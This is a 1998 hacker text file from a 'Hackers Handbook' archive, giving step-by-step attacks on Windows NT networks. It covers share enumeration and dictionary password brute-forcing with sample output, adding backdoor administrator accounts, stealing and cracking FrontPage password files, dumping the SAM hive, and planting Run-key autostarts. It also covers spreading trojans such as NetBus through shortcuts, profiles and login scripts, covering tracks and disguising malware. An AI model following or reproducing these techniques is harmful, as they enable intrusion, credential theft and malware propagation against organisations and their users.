home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / nt / NTExploits.txt < prev    next >
Encoding:
Text File  |  1998-11-07  |  35.8 KB  |  785 lines

  1. Windows NT Deconsctruction Tatics
  2. Step by Step NT Explotation Techniques
  3. by vacuum of Rhino9 & Technotronic
  4. vacuum@technotronic.com
  5.  
  6. Revision 5 10/01/98
  7.  
  8. Changes in Revision 5:
  9. Refined some NET.EXE examples.
  10. Included brief discussion of NetBus.
  11. Samba 
  12.  
  13. rdisk /s information.
  14. Made this .zip more like a unix rootkit by included all the mentioned tools.
  15. Cleaned up the overall layout.
  16.  
  17.  
  18. I. Initial Access Strategy
  19.     1.)NetBIOS Shares Using Microsoft Executables
  20.       a. NET.EXE 's other uses
  21.     2.)NAT The NetBIOS Auditing Tool
  22. II.FrontPage Exploitation
  23.     1.)FrontPage password decryption on unix servers with frontpage extensions.
  24. III. Registry Vulnerabilities
  25.     1.) rdisk /s to dump the SAM (Security Account Manager)
  26.     2.) gaining access to the regisry with the AT.EXE command (local)
  27.     3.) REGEDT32.EXE and REGEDIT.EXE
  28.     4.) REGINI.EXE and REGDMP.EXE remote registry editing tools
  29.     5.) Using the Registry to Execute Malicious Code
  30. IV. Trojan .lnk (shortcuts)
  31.     1.)Security hole within winnt\profiles and login scripts
  32. V.  Workarounds for common sytsem policy restrictions
  33. VI. PWDUMP Example
  34.  
  35. Included Files:
  36. NTExploits.txt this document
  37. samproof.txt   example of the sam hive from the registry
  38. notepad.reg    Example .reg file that starts up notepad.exe upon login. Could be any executable.
  39. service.pwd    Service.pwd frontpage password example.
  40.  
  41.  
  42. NetBIOS Shares Using the standard Microsoft Executables
  43. C:\>NBTSTAT -A 123.123.123.123
  44. C:\>NBTSTAT -a www.target.com
  45.  
  46.        NetBIOS Remote Machine Name Table
  47.  
  48.    Name               Type         Status
  49. ---------------------------------------------
  50. STUDENT1       <20>  UNIQUE      Registered
  51. STUDENT1       <00>  UNIQUE      Registered
  52. DOMAIN1        <00>  GROUP       Registered
  53. DOMAIN1        <1C>  GROUP       Registered
  54. DOMAIN1        <1B>  UNIQUE      Registered
  55. STUDENT1       <03>  UNIQUE      Registered
  56. DOMAIN1        <1E>  GROUP       Registered
  57. DOMAIN1        <1D>  UNIQUE      Registered
  58. ..__MSBROWSE__.<01>  GROUP       Registered
  59.  
  60. MAC Address = 00-C0-4F-C4-8C-9D
  61.  
  62.  
  63. After a NetBIOS share is found, it can be added to the LMHOSTS file. 
  64.  
  65. Computername <03> UNIQUE Registered by the messenger service. This is the computername
  66.                          to be added to the LMHOSTS file which is not necessary to use
  67.                          NAT.EXE but is necessary if you would like to view the remote
  68.                          computer in Network Neighborhood.
  69.  
  70. Example of LMHOSTS file:
  71. 123.123.123.123  student1
  72. 24.3.9.12        target2
  73.  
  74. Now you can use the find computer options within NT or 95 to browse the shares.
  75. An alternative option would be to use the very powerful NET.EXE
  76.  
  77.  
  78. C:\>net view 123.123.123.123
  79. C:\>net view \\student1
  80.  
  81. Shared resources at 123.123.123.123
  82.  
  83.  
  84. Share name   Type         Used as  Comment
  85.  
  86. ------------------------------------------------------------------------------
  87. NETLOGON     Disk                  Logon server share
  88. Test         Disk
  89. The command completed successfully.
  90.  
  91. NOTE: The C$ ADMIN$ and IPC$ shares are hidden and are not shown.
  92.  
  93. To connect to the ipc$ using a null session:
  94. C:\net use \\111.111.111.111\ipc$ "" /user:""
  95. The command completed successfully.
  96.  
  97. To connect to a normal share:
  98. C:\net use x: \\123.123.123.123\test
  99. The command completed successfully.
  100.  
  101. Now the command prompt or the NT Explorer can be used to access the remote drive X:
  102.  
  103. C:\net use
  104. New connections will be remembered.
  105.  
  106.  
  107. Status       Local     Remote                    Network
  108.  
  109. -------------------------------------------------------------------------------
  110. OK           X:        \\123.123.123.123\test      Microsoft Windows Network
  111. OK                     \\123.123.123.123\test      Microsoft Windows Network
  112. The command completed successfully.
  113.  
  114. Here are some other interesting things that NET.EXE can be used for that are not related to NetBIOS.
  115. NET localgroup <enter> will show which groups have been created on the local machine.
  116.  
  117. NET name <enter> will show you the name of the computer as well as who is logged in.
  118.  
  119. NET accounts <enter> will show the password restrictions for the user.
  120.  
  121. NET share <enter> displays the shares for the local machine including the $ shares which are supposed to be hidden.
  122. NET share unsecure=c:\ will share the c:\ as unsecure
  123.  
  124. NET user <enter> will show you which accounts are created on the local machine.
  125. NET user unsecure elite /add will add user unsecure with a password of elite.
  126.  
  127. NET start SERVICE. 
  128. NET start schedule will start the schedule service which can be used to access the complete registry on a local machine.  
  129.  
  130. NET group
  131. NET group Administrators unsecure /add will add the user unsecure to the Administrators group if run on a Domain Controller.
  132.  
  133. NAT (NetBIOS Auditing Tool)
  134. This technique works the the default share type everyone full control. If you are denied access,
  135. permissions have been applied to the share, and a password will be required.
  136.  
  137. NAT.EXE (NetBIOS Auditing Tool)
  138. NAT.EXE [-o filename] [-u userlist] [-p passlist] <address>
  139.  
  140. OPTIONS
  141.        -o     Specify the output file.  All results from the scan
  142.               will  be written to the specified file, in addition
  143.               to standard output.
  144.        -u     Specify the file to read usernames from.  Usernames
  145.               will  be read from the specified file when attempt-
  146.               ing to guess the password  on  the  remote  server.
  147.               Usernames  should appear one per line in the speci-
  148.               fied file.
  149.        -p     Specify the file to read passwords from.  Passwords
  150.               will  be read from the specified file when attempt-
  151.               ing to guess the password  on  the  remote  server.
  152.               Passwords  should appear one per line in the speci-
  153.               fied file.
  154.        <address>
  155.               Addresses should be specified in comma  deliminated
  156.               format,  with  no spaces.  Valid address specifica-
  157.               tions include:
  158.               hostname - "hostname" is added
  159.               127.0.0.1-127.0.0.3,   adds   addresses   127.0.0.1
  160.               through 127.0.0.3
  161.               127.0.0.1-3,   adds   addresses  127.0.0.1  through
  162.               127.0.0.3
  163.               127.0.0.1-3,7,10-20,   adds   addresses   127.0.0.1
  164.               through  127.0.0.3,  127.0.0.7,  127.0.0.10 through
  165.               127.0.0.20.
  166.               hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1
  167.               through 127.0.0.1
  168.               All combinations of hostnames and address ranges as
  169.               specified above are valid.
  170.  
  171.  
  172. NAT.EXE does all of the above techniques plus it will try Administrative shares ($), scan a range of IP addresses and use a dictionary file to crack the NetBIOS passwords. NAT.EXE is the
  173. tool prefered by most hackers.
  174.  
  175. C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 204.73.131.10-204.73.131.30
  176.  
  177.  
  178. [*]--- Reading usernames from userlist.txt
  179. [*]--- Reading passwords from passlist.txt
  180.  
  181. [*]--- Checking host: 204.73.131.11
  182. [*]--- Obtaining list of remote NetBIOS names
  183.  
  184. [*]--- Attempting to connect with name: *
  185. [*]--- Unable to connect
  186.  
  187. [*]--- Attempting to connect with name: *SMBSERVER
  188. [*]--- CONNECTED with name: *SMBSERVER
  189. [*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
  190. [*]--- Server time is Mon Dec 01 07:44:34 1997
  191. [*]--- Timezone is UTC-6.0
  192. [*]--- Remote server wants us to encrypt, telling it not to
  193.  
  194. [*]--- Attempting to connect with name: *SMBSERVER
  195. [*]--- CONNECTED with name: *SMBSERVER
  196. [*]--- Attempting to establish session
  197. [*]--- Was not able to establish session with no password
  198. [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
  199. [*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'
  200.  
  201. [*]--- Obtained server information:
  202.  
  203. Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]
  204.  
  205. [*]--- Obtained listing of shares:
  206.  
  207.     Sharename      Type      Comment
  208.     ---------      ----      -------
  209.     ADMIN$         Disk:     Remote Admin
  210.     C$             Disk:     Default share
  211.     IPC$           IPC:      Remote IPC
  212.     NETLOGON       Disk:     Logon server share 
  213.     Test           Disk:     
  214.  
  215. [*]--- This machine has a browse list:
  216.  
  217.     Server               Comment
  218.     ---------            -------
  219.     STUDENT1             
  220.  
  221.  
  222. [*]--- Attempting to access share: \\*SMBSERVER\
  223. [*]--- Unable to access
  224.  
  225. [*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
  226. [*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
  227. [*]--- Checking write access in: \\*SMBSERVER\ADMIN$
  228. [*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
  229. [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
  230.  
  231. [*]--- Attempting to access share: \\*SMBSERVER\C$
  232. [*]--- WARNING: Able to access share: \\*SMBSERVER\C$
  233. [*]--- Checking write access in: \\*SMBSERVER\C$
  234. [*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
  235. [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
  236.  
  237. [*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
  238. [*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
  239. [*]--- Checking write access in: \\*SMBSERVER\NETLOGON
  240. [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
  241.  
  242. [*]--- Attempting to access share: \\*SMBSERVER\Test
  243. [*]--- WARNING: Able to access share: \\*SMBSERVER\Test
  244. [*]--- Checking write access in: \\*SMBSERVER\Test
  245. [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test
  246.  
  247. [*]--- Attempting to access share: \\*SMBSERVER\D$
  248. [*]--- Unable to access
  249.  
  250. [*]--- Attempting to access share: \\*SMBSERVER\ROOT
  251. [*]--- Unable to access
  252.  
  253. [*]--- Attempting to access share: \\*SMBSERVER\WINNT$
  254. [*]--- Unable to access
  255.  
  256. If Default share of Everyone/Full Control. Done it is hacked.
  257.  
  258. FrontPage Exploitation:
  259. Most frontpage exploits compromise only the wwwroot directory and can be used to change the
  260. html of a site which has become a popular method of gaining fame in the hacker community. 
  261.  
  262. The following is a list of the Internet Information server files location
  263. in relation to the local hard drive (C:) and the web (www.target.com)
  264.  
  265. C:\InetPub\wwwroot                               <Home>
  266. C:\InetPub\scripts                               /Scripts
  267. C:\InetPub\wwwroot\_vti_bin                      /_vti_bin
  268. C:\InetPub\wwwroot\_vti_bin\_vti_adm             /_vti_bin/_vti_adm
  269. C:\InetPub\wwwroot\_vti_bin\_vti_aut             /_vti_bin/_vti_aut
  270. C:\InetPub\cgi-bin                               /cgi-bin
  271. C:\InetPub\wwwroot\srchadm                       /srchadm
  272. C:\WINNT\System32\inetserv\iisadmin              /iisadmin
  273. C:\InetPub\wwwroot\_vti_pvt               
  274. C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM   Internet Information Index Server sample
  275. C:\Program Files\Microsoft FrontPage\_vti_bin
  276. C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
  277. C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
  278. C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm  /iisadmin/isadmin
  279.  
  280. http://localhost:8814/iisadmin/iisnew.asp 
  281. where 8814 is a randomly chosen port. By default only localhost (127.0.0.1) has access to the html
  282. version of Internet Server Mangager HTML 
  283.  
  284. Using FrontPage, a hacker may alter the html of a remote website often frontpage webs
  285. are left un-passworded.
  286.  
  287. On the FrontPage Explorer's File menu, choose Open FrontPage Web.
  288. In the Getting Started dialog box, select Open an Existing FrontPage
  289. Web and choose the FrontPage web you want to open.
  290. Click More Webs if the web you want to open is not listed.
  291. Click OK.
  292. If you are prompted for your author name and password, you will have
  293. to decrypt service.pwd, guess or move on.
  294. Enter them in the Name and Password Required dialog box, and click OK.
  295. Alter the existing page, or upload a page of your own.
  296.  
  297. Scanning PORT 80 (http) or 443 (https) options:
  298.  
  299. GET /_vti_inf.html                 #Ensures that frontpage server extensions
  300.                                     are installed. 
  301. GET /_vti_pvt/service.pwd          #Contains the encrypted password files.
  302.                                     Not used on IIS and WebSite servers
  303. GET /_vti_pvt/authors.pwd          #On Netscape servers only. Encrypted
  304.                                     names and passwords of authors.
  305. GET /_vti_pvt/administrators.pwd
  306. GET /_vti_log/author.log           #If author.log is there it will need to
  307.                                     be cleaned to cover your tracks
  308.  
  309. GET /samples/search/queryhit.htm   
  310.  
  311. Other ways of obtaining service.pwd
  312. http://ftpsearch.com/index.html
  313. search for service.pwd http://www.altavista.digital.com
  314. advanced search for link:"/_vti_pvt/service.pwd"
  315.  
  316. Attempt to connect to the server using FTP.
  317. port 21 
  318. login anonymous
  319. password guest@unknown
  320. the anonymous login will use the internally created IISUSR_computername
  321. account to assign NT permissions.
  322. An incorrect configuration may leave areas vulnerable to attack.
  323. If you find a writeable anonymous ftp account, copy any executables (Netbus for example)
  324. to the c:\inetpub\scripts\ directory. The permissions on the scripts directory are as follows:
  325. Execute (including script). This is valuable, allowing you to http://www.target.com/scripts/patch.exe
  326.  
  327. If service.pwd is obtained it will look similar to this:
  328. Vacuum:SGXJVl6OJ9zkE
  329.  
  330. The above password is apple
  331. Turn it into DES format:
  332.  
  333. Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash
  334.  
  335. The run your favorite unix password cracker like john.exe (John The Ripper) against a large dictionary file or ntucrack.exe which will brute force crack the password.
  336.  
  337. Registry Vulnerabilities:
  338. RDISK
  339. rdisk /s will dump the security and sam portions of the registry into c:\winnt\repair directory.
  340. It will also give you the option of creating an emergency repair diskette. This .zip includes SAMDUMP.EXE which can be used to extract passwords from emergency repair diskettes.
  341. Within that directory there will be a sam._ file. It is ethically used for the emergency repair disk. If you have gained access to the local drive through physical access or through netbios shares, run rdisk /s There is a utility called SAMDUP included within this .zip that will extract the passwords.
  342.  
  343. GAINING ACCESS TO THE ENTIRE REGISTRY (Local)
  344. For this to work, you will need to start the schedule service.
  345. From the Command Prompt:
  346.  
  347. C:\>net start schedule
  348. The Schedule service is starting.
  349. The Schedule service was started successfully.
  350.  
  351. From a Command Prompt:
  352.  
  353. at <time> /interactive "regedt32.exe"
  354.  
  355. Where, <time> gets replaced with the current time plus about a minute to take care of your command typing time.
  356. At <time>, regedt32.exe will appear on your desktop. This execution of regedt32.exe will be running in the system's
  357. security context. As such, it will allow you access to the entire registry, including SAM and SECURITY hives.
  358. Note that this will not work against a remote registry; you will need to do this locally on the system you want
  359. to modify registry.
  360.  
  361. If sussessful, you will recive a message similar to the following:
  362. Added a new job with job ID = 0
  363.  
  364. samproof.txt example showing the SAM can be opened
  365.  
  366. Where, <time> gets replaced with the current time plus about a minute to take care of your command typing time. At <time>, regedt32.exe will appear on your desktop. This execution of regedt32.exe will be running in the system's security context. As such, it will allow you access to the entire registry, including SAM and SECURITY hives. Note that this will not work against a remote registry; you will need to do this locally on the system you want to modify registry.
  367.  
  368. Basic remote registry access that does not include the sam and security hives:
  369. Windows NT supports accessing a remote registry via the Registry Editor and also through the RegConnectRegistry() Win32 API call. The security on the following registry key dictates which users/groups can access the registry remotely: 
  370.  
  371.    HKEY_LOCAL_MACHINE\
  372.     SYSTEM\
  373.     CurrentControlSet\
  374.     Control\
  375.     SecurePipeServers\
  376.     Winreg
  377.  
  378. If this key does not exist, remote access is not restricted, and only the underlying security on the individual keys control access. In a default Windows NT workstation installation, this key does not exist. In a default Windows NT server installation, this key exists and grants administrators full control for remote registry operations, in addition to granting Everyone Create Subkey and Set Value access (special access). 
  379.  
  380. REGEDT32.EXE
  381. To access the registry of a REMOTE NT computer you must have ADMINISTRATOR RIGHTS.
  382. NAT.EXE (covered in the NetBIOS Section) has often lead to compromised administrator
  383. passwords. Administrators should turn off all shares, including C$
  384.  
  385. To modify the Registry on a remote computer
  386. Start Regedt32
  387. 1 On the File menu, click Connect.
  388. 2 Type the name of the remote computer.
  389. 3 In the Users on Remote Computer dialog box, click the user that is interactively logged on, and then click OK. Typically, there is only one user logged on.
  390. 4 Double-click Local User to change HKEY_CURRENT_USER Registry settings.
  391. 5 Double-click Local Computer to change HKEY_LOCAL_MACHINE Registry settings.
  392. 6 On the File menu, click Save.
  393. 7 On the File menu, click Disconnect.
  394.  
  395. Notes:
  396.  
  397. You can access the Registry only on computers for which you have administrative permission. The computer can be running any version of Windows NT Workstation or Windows NT Server. You can only access two predefined keys (HKEY_USERS and HKEY_LOCAL_MACHINE) of a remote computer registry.
  398.  
  399. REGINI is a tool that can be used from the command line to manipulate (in our case write to) the registry on a REMOTE machine. A very closely related tool, REGDMP.EXE works very closely with the REGINI tool and can be used to "dump" the contents of the registry on a remote machine to a file for your browsing. It should be noted that the entire contents of the registry (The Security & SAM hives) will NOT be dumped as they were with the 
  400.  
  401. at <time> /interactive "regedt32.exe" 
  402.  
  403. technique mentioned above.
  404.  
  405. REGINI.EXE
  406. usage: REGINI [-h hivefile hiveroot | -w Win95 Directory | -m \\machinename]
  407.               [-i n] [-o outputWidth]
  408.               [-c] codepage
  409.               [-b] textFiles...
  410.  
  411. where: -h specifies a specify local hive to manipulate.
  412.        -w specifies the paths to a Windows 95 system.dat and user.dat files
  413.        -m specifies a remote Windows NT machine whose registry is to be manipulated.
  414.        -i n specifies the display indentation multiple.  Default is 4
  415.        -o outputWidth specifies how wide the output is to be.
  416.  
  417. By default the outputWidth is set to the width of the console window if standard
  418. output has not been redirected to a file.  In the latter case, an outputWidth of 240 is used.
  419.  
  420.  
  421. -c specifies codepage of textFiles, if they are ANSI textFiles.
  422.  
  423. -b specifies that REGINI should be backward compatible with older
  424.     versions of REGINI that did not strictly enforce line continuations
  425.     and quoted strings Specifically, REG_BINARY, REG_RESOURCE_LIST and
  426.     REG_RESOURCE_REQUIREMENTS_LIST data types did not need line
  427.     continuations after the first number that gave the size of the data.
  428.     It just kept looking on following lines until it found enough data
  429.     values to equal the data length or hit invalid input.  Quoted
  430.     strings were only allowed in REG_MULTI_SZ.  They could not be
  431.     specified around key or value names, or around values for REG_SZ or
  432.     REG_EXPAND_SZ Finally, the old REGINI did not support the semicolon
  433.     as an end of line comment character.
  434.  
  435. textFiles is one or more ANSI or Unicode text files with registry data.
  436.  
  437.  The easiest way to understand the format of the input textFile is to use
  438.  the REGDMP command with no arguments to dump the current contents of
  439.  your NT Registry to standard out.  Redirect standard out to a file and
  440.  this file is acceptable as input to REGINI
  441.  
  442.  Some general rules are:
  443.      Semicolon character is an end-of-line comment character, provided it
  444.      is the first non-blank character on a line
  445.  
  446.      Backslash character is a line continuation character.  All
  447.      characters from the backslash up to but not including the first
  448.      non-blank character of the next line are ignored.  If there is more
  449.      than one space before the line continuation character, it is
  450.      replaced by a single space.
  451.  
  452.      Indentation is used to indicate the tree structure of registry keys
  453.      The REGDMP program uses indentation in multiples of 4.  You may use
  454.      hard tab characters for indentation, but embedded hard tab
  455.  
  456.  than one space before the line continuation character, it is
  457.  replaced by a single space.
  458.  
  459.  Indentation is used to indicate the tree structure of registry keys
  460.  The REGDMP program uses indentation in multiples of 4.  You may use
  461.  hard tab characters for indentation, but embedded hard tab
  462.  characters are converted to a single space regardless of their
  463.  position
  464.  
  465.  For key names, leading and trailing space characters are ignored and
  466.  not included in the key name, unless the key name is surrounded by
  467.  quotes.  Imbedded spaces are part of a key name.
  468.  
  469.  Key names can be followed by an Access Control List (ACL) which is a
  470.  series of decimal numbers, separated by spaces, bracketed by a
  471.  square brackets (e.g.  [8 4 17]).  The valid numbers and their
  472.  meanings are:
  473.  
  474.  1  - Administrators Full Access
  475.  2  - Administrators Read Access
  476.  3  - Administrators Read and Write Access
  477.  4  - Administrators Read, Write and Delete Access
  478.  5  - Creator Full Access
  479.  6  - Creator Read and Write Access
  480.  7  - World Full Access
  481.  8  - World Read Access
  482.  9  - World Read and Write Access
  483.  10 - World Read, Write and Delete Access
  484.  11 - Power Users Full Access
  485.  12 - Power Users Read and Write Access
  486.  13 - Power Users Read, Write and Delete Access
  487.  14 - System Operators Full Access
  488.  15 - System Operators Read and Write Access
  489.  16 - System Operators Read, Write and Delete Access
  490.  17 - System Full Access
  491.  18 - System Read and Write Access
  492.  19 - System Read Access
  493.  20 - Administrators Read, Write and Execute Access
  494.  21 - Interactive User Full Access
  495.  22 - Interactive User Read and Write Access
  496.  23 - Interactive User Read, Write and Delete Access
  497.  
  498.  
  499.      If there is an equal sign on the same line as a left square bracket
  500.      then the equal sign takes precedence, and the line is treated as a
  501.      registry value.  If the text between the square brackets is the
  502.      string DELETE with no spaces, then REGINI will delete the key and
  503.      any values and keys under it.
  504.  
  505.      For registry values, the syntax is:
  506.  
  507.         value Name = type data
  508.  
  509.      
  510.  Leading spaces, spaces on either side of the equal sign and spaces
  511.  between the type keyword and data are ignored, unless the value name
  512.  is surrounded by quotes.
  513.  
  514.  The value name may be left off or be specified by an at-sign
  515.  character which is the same thing, namely the empty value name.  So
  516.  the following two lines are identical:
  517.  
  518.     = type data
  519.     @ = type data
  520.  
  521.  This syntax means that you can't create a value with leading or or
  522.  trailing spaces, an equal sign or an at-sign in the value name,
  523.  unless you put the name in quotes.
  524.  
  525.  Valid value types and format of data that follows are:
  526.  
  527.  REG_SZ text
  528.  REG_EXPAND_SZ text
  529.  REG_MULTI_SZ "string1" "string2" ...
  530.  REG_DATE mm/dd/yyyy HH:MM DayOfWeek
  531.  REG_DWORD numberDWORD
  532.  REG_BINARY numberOfBytes numberDWORD(s)...
  533.  REG_NONE (same format as REG_BINARY)
  534.  REG_RESOURCE_LIST (same format as REG_BINARY)
  535.  REG_RESOURCE_REQUIREMENTS (same format as REG_BINARY)
  536.  REG_RESOURCE_REQUIREMENTS_LIST (same format as REG_BINARY)
  537.  REG_FULL_RESOURCE_DESCRIPTOR (same format as REG_BINARY)
  538.  REG_MULTISZ_FILE fileName
  539.  REG_BINARYFILE fileName
  540.  
  541.  
  542.    If no value type is specified, default is REG_SZ
  543.  
  544.    For REG_SZ and REG_EXPAND_SZ, if you want leading or trailing spaces
  545.    in the value text, surround the text with quotes.  The value text
  546.    can contain any number of imbedded quotes, and REGINI will ignore
  547.    them, as it only looks at the first and last character for quote
  548.    characters.
  549.  
  550.    For REG_BINARY, the value data consists of one or more numbers The
  551.    default base for numbers is decimal.  Hexidecimal may be specified
  552.    by using 0x prefix.  The first number is the number of data bytes,
  553.    excluding the first number.  After the first number must come enough
  554.    numbers to fill the value.  Each number represents one DWORD or 4
  555.    bytes.  So if the first number was 0x5 you would need two more
  556.    numbers after that to fill the 5 bytes.  The high high order 3 bytes
  557.    of the second DWORD would be ignored.
  558.  
  559.  
  560.  
  561.  
  562.  
  563. REGDMP.EXE 
  564.  
  565. usage: REGDMP [-m \\machinename | -h hivefile hiveroot | -w Win95 Directory]
  566.               [-i n] [-o outputWidth]
  567.               [-s] [-o outputWidth] registryPath
  568.  
  569. where: -m specifies a remote Windows NT machine whose registry is to be manipula
  570. ted.
  571.        -h specifies a specify local hive to manipulate.
  572.        -w specifies the paths to a Windows 95 system.dat and user.dat files
  573.        -i n specifies the display indentation multiple.  Default is 4
  574.        -o outputWidth specifies how wide the output is to be.  By default the
  575.           outputWidth is set to the width of the console window if standard
  576.           output has not been redirected to a file.  In the latter case, an
  577.           outputWidth of 240 is used.
  578.        -s specifies summary output.  Value names, type and first line of data
  579.  
  580.   registryPath specifies where to start dumping.
  581.  
  582.   If REGDMP detects any REG_SZ or REG_EXPAND_SZ that is missing the
  583.   trailing null character, it will prefix the value string with the
  584.   following text: (*** MISSING TRAILING NULL CHARACTER ***)
  585.   The REGFIND tool can be used to clean these up, as this is a common
  586.   programming error.
  587.  
  588.  Whenever specifying a registry path, either on the command line
  589.  or in an input file, the following prefix strings can be used:
  590.  
  591.       HKEY_LOCAL_MACHINE
  592.       HKEY_USERS
  593.       HKEY_CURRENT_USER
  594.       USER:
  595.  
  596.     Each of these strings can stand alone as the key name or be followed
  597.     a backslash and a subkey path.
  598.  
  599.  
  600. RedButton exploits a flaw allowing the creation of a new entry in the registry which describes a new drive share with access granted to Everyone. After reboot the new share is published on the network to Everyone. By sharing system drive one can obtain a copy of a password file updated by rdisk -s from the %SYSTEMROOT%\Repair directory among other things. Please visit www.ntsecurity.com for further information as this program relates directly to the registry and NetBIOS share topic covered in this paper.
  601.  
  602. Using the Registry to Execute Malicious Code
  603.  
  604. Note: Regedit.exe lets you export keys to .reg files which can also be very handy.
  605.  
  606. .REG files are used to directly change registry keys. The contents of a .reg file
  607. are similar to the contents of the textfile used with REGINI.EXE
  608.  
  609. Example (included as notepad.reg) will launch notepad.exe on startup. This of course
  610. could be any executable.
  611.  
  612. -- cut here --
  613. REGEDIT4
  614.  
  615. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
  616. "Rhino9"="notepad.exe"
  617.  
  618. -- cut here --
  619.  
  620. Trojan Building:
  621.  
  622. This is the properties of a evil .lnk (Shortcut) file.
  623. This technique uses the same strategy as the Internet Explorer 3.0 bug.
  624. You will NOT find an example of a working trojan here. There are plenty
  625. of malicious executables available elsewhere on the internet. Keyloggers,
  626. sniffers, pwdump.exe, getadmin.exe are a few examples. This document is
  627. meant to increase trojan awareness, not provide step-by-step instructions 
  628. for novice hackers.
  629.  
  630. To execute a .exe, .com, .bat, or .cmd
  631. C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.bat
  632.  
  633. For those of you familiar with NetBus 1.6 this would be a good way of launching patch.exe
  634. Patch.exe is the client portion of this popular remote control trojan.
  635. NOTE: Back Orifice currently does not run under the Windows NT environment.
  636.  
  637. To add an entry to the registry
  638. C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.reg
  639.  
  640. Where trojan.reg looks similar to the example notepad.reg shown above.
  641. This evil shortcut can be propagated throughout NT domains through Profiles. Use START.EXE to cause a wide variety of commands / executables to be launched.
  642.  
  643. START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
  644.       [/LOW | /NORMAL | /HIGH | /REALTIME] [/WAIT] [/B] [command/program] [parameters]
  645.  
  646.     "title"     Title to display in  window title bar.
  647.     path        Starting directory
  648.     I           The new environment will be the original environment passed
  649.                 to the cmd.exe and not the current environment.
  650.     MIN         Start window minimized
  651.     MAX         Start window maximized
  652.     SEPARATE    Start 16-bit Windows program in separate memory space
  653.     SHARED      Start 16-bit Windows program in shared memory space
  654.     LOW         Start application in the IDLE priority class
  655.     NORMAL      Start application in the NORMAL priority class
  656.     HIGH        Start application in the HIGH priority class
  657.     REALTIME    Start application in the REALTIME priority class
  658.     WAIT        Start application and wait for it to terminate
  659.     B           Start application without creating a new window. The
  660.                 application has ^C handling ignored. Unless the application
  661.                 enables ^C processing, ^Break is the only way to interrupt the
  662.                 application
  663.  
  664. NOTE: /m is used to minimize the window another available option is /wait which will cause the program to wait until the other program exits /B starts application without creating new window. Play with these switches to get desired effect.
  665.  
  666. Starts a separate window to run a specified program or command.
  667. start.exe and at.exe can be used in combination if the scheduler service is started.
  668.  
  669. Security hole within winnt\profiles and login scripts
  670.  
  671. Using the trojan building information above, trojans can be deseminated by strategically placing .lnk shortcuts or modifying the login script.
  672.  
  673. A malicious executable file can be planted in:
  674. C:\WINNT\Profiles\Default User\Start Menu\Programs\Startup
  675. Any user logging in to the machine for the first time would inherit your malicious shortcuts.
  676. or
  677. C:\WINNT\Profiles\userid of exiting user\Start Menu\Programs\Startup
  678. would cause existing users to launch your malicious shortcuts on startup.
  679.  
  680. If roaming profiles are turned on, your malicious shortcut would follow the user as they logged on from machine to machine. If you install these .lnk files on the primary domain controller in the winnt\profiles\userid directory they would also pass themselves down to
  681. the workstation when the user logged in. If you are unable to install your trojan in a roaming profile environment or the Primary Domain Controller the trojan would not spread unless placed into the login script. 
  682.  
  683. C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS
  684. Is the location that login scripts (.CMD) files are stored. Malicious code can be inserted into a new or existing login script. All users loging on to the machine would execute this code.
  685.  
  686. Here are the default NTFS permissions:
  687. C:\WINNT\PROFILES and C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS
  688.  
  689. Administrators   Full Control
  690. Everyone         Read
  691. System           Full Control
  692.  
  693. FAT Partitions have no file level security. New users logging into the system would automatically execute this program everytime they login. If this is done on NT Workstation the attack will only spread to new users logging into the workstation locally. If this attack is performed on a NT domain controller it would spread throughout the domain profiles.
  694.  
  695. Hiding Detection
  696. Replace an existing startup program with trojan. Rename your trojan so that it is not suspicious. Change the properties of the trojan's icon to look like the replaced icon. An antivirus program would be a great choice, you could even launch the real, renamed application after your trojan is loaded.
  697.  
  698. Workarounds for common sytsem policy restrictions:
  699.  
  700. System Policies are implemented to restrict the user from performing certain tasks.
  701.  
  702. Installing Printers:
  703. If you do not have access to the printers folder from the Start/Settings/Printers or from the My Computer Icon.Click Network Neighborhood. Double-Click on your computername. The printers folder will be available. Open the folder and Double Click on the Add-Printer Icon to start the Printer Installation Wizard.
  704.  
  705. Control Panel Restrictions:
  706. If you do not have access to the Control Panel from Start/Settings/Control Panel or from the My Computer Icon.Click Start/Help/Index (If you do not have help, you can open it using Explorer or My Computer. Double-click on C:\winnt\System32\control.hlpSearch for Control Panel
  707. All of the normally displayed icons appear as help topics. 
  708. If you click on "Network" for example a Windows NT Help Screen appears with a nice little shortcut to the Control Panel Network Settings. Printers can also be installed using this method as well as the method mentioned above. Network options can also be accessed by right clicking on Network Neighborhood and then selecting properties.
  709.  
  710. Missing Command Prompt:
  711. Start NT Explorer change tgo c:\winnt\system32 Double click on COMMAND.COM a command prompt will start. This is also well known, but included for thoroughness. Find Command is gone from Start/Find or from within NT Explorer: To find a computer:If you have a command prompt:
  712. Net View <Enter> is like Network Neighborhood Net View \\COMPUTERName is like Double Clicking on a computer within network neighborhood
  713. Net use x: \\Computername\Sharename maps a drive letter to the share.
  714. Finding a file is simple:dir filename.ext /sRun Command Missing:
